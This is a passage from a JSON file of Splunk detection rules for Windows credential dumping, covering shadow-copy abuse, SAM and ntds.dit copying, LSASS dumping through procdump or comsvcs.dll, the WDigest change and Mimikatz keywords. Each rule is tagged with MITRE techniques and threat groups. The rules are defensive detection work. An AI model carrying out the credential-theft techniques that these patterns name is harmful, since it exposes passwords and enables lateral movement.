"Tonto Team" - ] - } - ] - } - }, - { - "name": "Creation of Shadow Copy", - "description": "The following analytic detects the creation of shadow copies using Vssadmin or Wmic. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because creating shadow copies can be a precursor to ransomware attacks or data exfiltration, allowing attackers to bypass file locks and access sensitive data. If confirmed malicious, this behavior could enable attackers to maintain persistence, recover deleted files, or prepare for further malicious activities, posing a significant risk to the integrity and confidentiality of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=vssadmin.exe Processes.process=*create* Processes.process=*shadow*) OR (Processes.process_name=wmic.exe Processes.process=*shadowcopy* Processes.process=*create*) by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `creation_of_shadow_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a shadow copy to perform offline password cracking.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Creation of Shadow Copy with wmic and powershell", - "description": "The following analytic detects the creation of shadow copies using \"wmic\" or \"Powershell\" commands. It leverages the Endpoint.Processes data model in Splunk to identify processes where the command includes \"shadowcopy\" and \"create\". This activity is significant because it may indicate an attacker attempting to manipulate or access data unauthorizedly, potentially leading to data theft or manipulation. If confirmed malicious, this behavior could allow attackers to backup and exfiltrate sensitive data or hide their tracks by restoring files to a previous state after an attack.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` OR `process_powershell` Processes.process=*shadowcopy* Processes.process=*create* by Processes.user Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `creation_of_shadow_copy_with_wmic_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Living Off The Land", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create a shadow copy to perform offline password cracking.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Credential Dumping via Copy Command from Shadow Copy", - "description": "The following analytic detects the use of the copy command to dump credentials from a shadow copy. It leverages Endpoint Detection and Response (EDR) data to identify processes with command lines referencing critical files like \"sam\", \"security\", \"system\", and \"ntds.dit\" in system directories. This activity is significant as it indicates an attempt to extract credentials, a common technique for unauthorized access and privilege escalation. If confirmed malicious, this could lead to attackers gaining sensitive login information, escalating privileges, moving laterally within the network, or accessing sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` (Processes.process=*\\\\system32\\\\config\\\\sam* OR Processes.process=*\\\\system32\\\\config\\\\security* OR Processes.process=*\\\\system32\\\\config\\\\system* OR Processes.process=*\\\\windows\\\\ntds\\\\ntds.dit*) by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `credential_dumping_via_copy_command_from_shadow_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to copy SAM and NTDS.dit for offline password cracking.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Credential Dumping via Symlink to Shadow Copy", - "description": "The following analytic detects the creation of a symlink to a shadow copy, which may indicate credential dumping attempts. It leverages the Endpoint.Processes data model in Splunk to identify processes executing commands containing \"mklink\" and \"HarddiskVolumeShadowCopy\". This activity is significant because attackers often use this technique to manipulate or delete shadow copies, hindering system backup and recovery efforts. If confirmed malicious, this could prevent data restoration, complicate incident response, and lead to data loss or compromise. Analysts should review the process details, user, parent process, and any related artifacts to identify the attack source.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` Processes.process=*mklink* Processes.process=*HarddiskVolumeShadowCopy* by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process Processes.parent_process_name Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `credential_dumping_via_symlink_to_shadow_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to create symlink to a shadow copy to grab credentials.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Detect Copy of ShadowCopy with Script Block Logging", - "description": "The following analytic detects the use of PowerShell commands to copy the SAM, SYSTEM, or SECURITY hives, which are critical for credential theft. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command executed. This activity is significant as it indicates an attempt to exfiltrate sensitive registry hives for offline password cracking. If confirmed malicious, this could lead to unauthorized access to credentials, enabling further compromise of the system and potential lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*copy*\",\"*[System.IO.File]::Copy*\") AND ScriptBlockText IN (\"*System32\\\\config\\\\SAM*\", \"*System32\\\\config\\\\SYSTEM*\",\"*System32\\\\config\\\\SECURITY*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_copy_of_shadowcopy_with_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a script to capture the SAM hive on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Detect Credential Dumping through LSASS access", - "description": "The following analytic detects attempts to read LSASS memory, indicative of credential dumping. It leverages Sysmon EventCode 10, filtering for specific access permissions (0x1010 and 0x1410) on the lsass.exe process. This activity is significant because it suggests an attacker is trying to extract credentials from LSASS memory, potentially leading to unauthorized access, data breaches, and compromise of sensitive information. If confirmed malicious, this could enable attackers to escalate privileges, move laterally within the network, or exfiltrate data. Extensive triage is necessary to differentiate between malicious and benign activities.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe (GrantedAccess=0x1010 OR GrantedAccess=0x1410) | stats count min(_time) as firstTime max(_time) as lastTime by dest, SourceImage, SourceProcessId, TargetImage, TargetProcessId, EventCode, GrantedAccess | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_credential_dumping_through_lsass_access_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping", - "Detect Zerologon Attack" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "The $SourceImage$ has attempted access to read $TargetImage$ was identified on endpoint $dest$, this is indicative of credential dumping and should be investigated.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Detect Mimikatz With PowerShell Script Block Logging", - "description": "The following analytic detects the execution of Mimikatz commands via PowerShell by leveraging PowerShell Script Block Logging (EventCode=4104). This method captures and logs the full command sent to PowerShell, allowing for the identification of suspicious activities such as Pass the Ticket, Pass the Hash, and credential dumping. This activity is significant as Mimikatz is a well-known tool used for credential theft and lateral movement. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (*mimikatz*, *-dumpcr*, *sekurlsa::pth*, *kerberos::ptt*, *kerberos::golden*) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_mimikatz_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "CISA AA22-320A", - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following behavior was identified and typically related to MimiKatz being loaded within the context of PowerShell on $Computer$ by $UserID$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Dump LSASS via comsvcs DLL", - "description": "The following analytic detects the behavior of dumping credentials from memory by exploiting the Local Security Authority Subsystem Service (LSASS) using the comsvcs.dll and MiniDump via rundll32. This detection leverages process information from Endpoint Detection and Response (EDR) logs, focusing on specific command-line executions. This activity is significant because it indicates potential credential theft, which can lead to broader system compromise, persistence, lateral movement, and privilege escalation. If confirmed malicious, attackers could gain unauthorized access to sensitive information, leading to data theft, ransomware attacks, or other damaging outcomes.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*comsvcs.dll* Processes.process=*MiniDump* by Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dump_lsass_via_comsvcs_dll_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-264A", - "Credential Dumping", - "Data Destruction", - "Flax Typhoon", - "HAFNIUM Group", - "Industroyer2", - "Living Off The Land", - "Prestige Ransomware", - "Suspicious Rundll32 Activity", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified accessing credentials using comsvcs.dll on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Dump LSASS via procdump", - "description": "The following analytic detects the use of procdump.exe to dump the LSASS process, specifically looking for the -mm and -ma command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and parent processes. This activity is significant because dumping LSASS can expose sensitive credentials, posing a severe security risk. If confirmed malicious, an attacker could obtain credentials, escalate privileges, and move laterally within the network, leading to potential data breaches and further compromise of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_procdump` (Processes.process=*-ma* OR Processes.process=*-mm*) Processes.process=*lsass* by Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `dump_lsass_via_procdump_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Credential Dumping", - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to dump lsass.exe on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Enable WDigest UseLogonCredential Registry", - "description": "The following analytic detects a suspicious registry modification that enables the plain text credential feature in Windows by setting the \"UseLogonCredential\" value to 1 in the WDigest registry path. This detection leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values. This activity is significant because it is commonly used by malware and tools like Mimikatz to dump plain text credentials, indicating a potential credential dumping attempt. If confirmed malicious, this could allow an attacker to obtain sensitive credentials, leading to further compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\System\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest\\\\*\" Registry.registry_value_name = \"UseLogonCredential\" Registry.registry_value_data=0x00000001) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `enable_wdigest_uselogoncredential_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Credential Dumping", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "wdigest registry $registry_path$ was modified in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Esentutl SAM Copy", - "description": "The following analytic detects the use of `esentutl.exe` to access credentials stored in the ntds.dit or SAM file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it may indicate an attempt to extract sensitive credential information, which is a common tactic in lateral movement and privilege escalation. If confirmed malicious, this could allow an attacker to gain unauthorized access to user credentials, potentially compromising the entire network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_esentutl` Processes.process IN (\"*ntds*\", \"*SAM*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `esentutl_sam_copy_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user user$ attempting to capture credentials for offline cracking or observability.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Excel Spawning PowerShell", - "description": "The following analytic detects Microsoft Excel spawning PowerShell, an uncommon and suspicious behavior. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is \"excel.exe\" and the child process is PowerShell. This activity is significant because it is often associated with spearphishing attacks, where malicious attachments execute encoded PowerShell commands. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to data exfiltration, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"excel.exe\" `process_powershell` by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.user Processes.dest Processes.original_file_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `excel_spawning_powershell_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$, indicating potential suspicious macro execution.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": 